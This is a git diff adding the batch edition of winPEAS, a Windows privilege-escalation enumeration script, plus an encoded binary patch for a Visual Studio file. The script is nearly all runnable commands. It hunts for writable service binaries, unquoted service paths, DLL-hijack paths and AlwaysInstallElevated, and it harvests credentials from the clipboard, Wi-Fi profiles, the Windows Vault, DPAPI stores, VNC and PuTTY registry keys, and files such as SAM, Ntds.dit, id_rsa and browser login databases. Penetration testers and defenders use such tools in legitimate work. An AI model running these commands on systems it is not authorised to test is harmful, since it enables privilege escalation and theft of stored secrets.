HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription +echo Module logging settings: +REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging +echo Scriptblog logging settings: +REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] MOUNTED DISKS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Maybe you find something interesting +(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul) +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] ENVIRONMENT ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Interesting information? +set +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] INSTALLED SOFTWARE ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Some weird software? Check for vulnerabilities in unknow software installed +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software +dir /b "C:\Program Files" "C:\Program Files (x86)" | sort +reg query HKEY_LOCAL_MACHINE\SOFTWARE +IF exist C:\Windows\CCM\SCClient.exe echo SCCM is installed (installers are run with SYSTEM privileges, many are vulnerable to DLL Sideloading) +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Remote Desktop Credentials Manager ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager +IF exist "%AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" echo Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] WSUS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit) +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus +reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://" +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] RUNNING PROCESSES ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Something unexpected is running? Check for vulnerabilities +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#running-processes +tasklist /SVC +echo. +echo [i] Checking file permissions of running processes (File backdooring - maybe the same files start automatically when Administrator logs in) +for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( + for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( + icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. + ) +) +echo. +echo [i] Checking directory permissions of running processes (DLL injection) +for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( + icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. +) +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] RUN ^AT STARTUP ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#run-at-startup +::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^ +reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^ +reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^ +reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^ +reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^ +icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^ +icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^ +icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^ +icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^ +icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^ +icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^ +icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^ +icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^ +schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab informa") +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] AlwaysInstallElevated? ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] If '1' then you can install a .msi file with admin privileges ;) +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated +reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul +reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul +echo. +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [*] NETWORK ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CURRENT SHARES ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +net share +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] INTERFACES ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +ipconfig /all +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] USED PORTS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Check for services restricted from the outside +netstat -ano | findstr /i listen +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] FIREWALL ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +netsh firewall show state +netsh firewall show config +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] ^ARP ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +arp -A +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] ROUTES ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +route print +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Hosts file ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +type C:\WINDOWS\System32\drivers\etc\hosts | findstr /v "^#" +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CACHE DNS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +ipconfig /displaydns | findstr "Record" | findstr "Name Host" +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] WIFI ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] To get the clear-text password use: netsh wlan show profile key=clear +netsh wlan show profile +echo. +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^>[*] BASIC USER INFO ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Check if you are inside the Administrators froup or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#users-and-groups +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CURRENT USER ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +net user %username% +net user %USERNAME% /domain 2>nul +whoami /all +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] USERS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +net user +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] GROUPS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +net localgroup +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] ADMINISTRATORS GROUPS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +net localgroup Administrators 2>nul +net localgroup Administradores 2>nul +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CURRENT LOGGED USERS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +quser +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CURRENT CLIPBOARD ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Any password inside the clipboard? +powershell -command "Get-Clipboard" 2>nul +echo. +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [*] SERVICES VULNERABILITIES ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +::echo. +::echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] SERVICE PERMISSIONS WITH accesschk.exe FOR 'Authenticated users', Everyone, BUILTIN\Users, Todos and CURRENT USER ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +::echo [i] If Authenticated Users have SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG or WRITE_DAC or WRITE_OWNER or GENERIC_WRITE or GENERIC_ALL, you can modify the binary that is going to be executed by the service and start/stop the service +::echo [i] If accesschk.exe is not in PATH, nothing will be found here +::echo [I] AUTHETICATED USERS +::accesschk.exe -uwcqv "Authenticated Users" * /accepteula 2>nul +::echo [I] EVERYONE +::accesschk.exe -uwcqv "Everyone" * /accepteula 2>nul +::echo [I] BUILTIN\Users +::accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul +::echo [I] TODOS +::accesschk.exe -uwcqv "Todos" * /accepteula 2>nul +::echo [I] %USERNAME% +::accesschk.exe -uwcqv %username% * /accepteula 2>nul +::echo. +::echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] SERVICE PERMISSIONS WITH accesschk.exe FOR * ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +::echo [i] Check for weird service permissions for unexpected groups" +::accesschk.exe -uwcqv * /accepteula 2>nul + +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] SERVICE BINARY PERMISSIONS WITH WMIC + ICACLS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services +for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do ( + for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && echo. +) +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services +for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && echo You can modify %%a +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] UNQUOTED SERVICE PATHS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Progam.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe' +echo [i] The permissions are also checked and filtered using icacls +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services +for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do ( + for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do ( + echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo. + ) +) +::wmic service get name,displayname,pathname,startmode | more | findstr /i /v "C:\\Windows\\system32\\" | findstr /i /v """ +echo. +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [*] DLL HIJACKING in PATHenv variable ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations +echo [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking +for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) +echo. +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [*] CREDENTIALS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] WINDOWS VAULT ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#windows-vault +cmdkey /list +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] DPAPI MASTER KEYS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi +powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul +powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] DPAPI MASTER KEYS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt +echo [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi +echo Looking inside %appdata%\Microsoft\Credentials\ +dir /b/a %appdata%\Microsoft\Credentials\ 2>nul +echo Looking inside %localappdata%\Microsoft\Credentials\ +dir /b/a %localappdata%\Microsoft\Credentials\ 2>nul +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] AppCmd ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe +IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO %systemroot%\system32\inetsrv\appcmd.exe exists. +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Files an registry that may contain credentials ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Searching specific files that may contains credentias. +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files +reg query HKCU\Software\ORL\WinVNC3\Password 2>nul +reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password 2>nul +reg query HKLM\SYSTEM\Microsoft\Windows NT\Currentversion\WinLogon 2>nul +reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s 2>nul +reg query HKCU\Software\TightVNC\Server 2>nul +reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s 2>nul +cd %USERPROFILE% 2>nul && dir /s/b *password* == *credential* 2>nul +cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.. +dir /s/b /A:-D RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies == "Login Data" == places.sqlite == key3.db == key4.db == credentials == credentials.db == access_tokens.db == accessTokens.json == legacy_credentials == azureProfile.json == unattend.txt == access.log == error.log == *.gpg == *.pgp == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12 == *.der == *.csr == *.cer == known_hosts == id_rsa == id_dsa == *.ovpn == anaconda-ks.cfg == hostapd.conf == rsyncd.conf == cesi.conf == supervisord.conf == tomcat-users.xml == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == unattend.xml == unattended.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == groups.xml == services.xml == scheduledtasks.xml == printers.xml == drives.xml == datasources.xml == php.ini == https.conf == https-xampp.conf == httpd.conf == my.ini == my.cnf == access.log == error.log == server.xml == SiteList.xml == ConsoleHost_history.txt == setupinfo == setupinfo.bak 2>nul | findstr /v ".dll" +cd inetpub 2>nul && (dir /s/b web.config == *.log & cd ..) +echo. +echo. +if "%long%" == "yes" ( + echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] REGISTRY WITH STRING pass OR pwd ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- + reg query HKLM /f passw /t REG_SZ /s + reg query HKCU /f passw /t REG_SZ /s + reg query HKLM /f pwd /t REG_SZ /s + reg query HKCU /f pwd /t REG_SZ /s + echo. + echo. + echo [i] Iterating through the drives + echo. + for /f %%x in ('wmic logicaldisk get name^| more') do ( + set tdrive=%%x + if "!tdrive:~1,2!" == ":" ( + %%x + echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- + findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul + echo. + echo. + echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\ ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- + dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\" + echo. + echo. + ) + ) + echo. +) diff --git a/winPEAS/winPEASexe/.vs/winPEAS/v16/.suo b/winPEAS/winPEASexe/.vs/winPEAS/v16/.suo new file mode 100755 index 0000000000000000000000000000000000000000..fe5b46141ba78ff9ef97312862146bfab039b16b GIT binary patch literal 129536 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 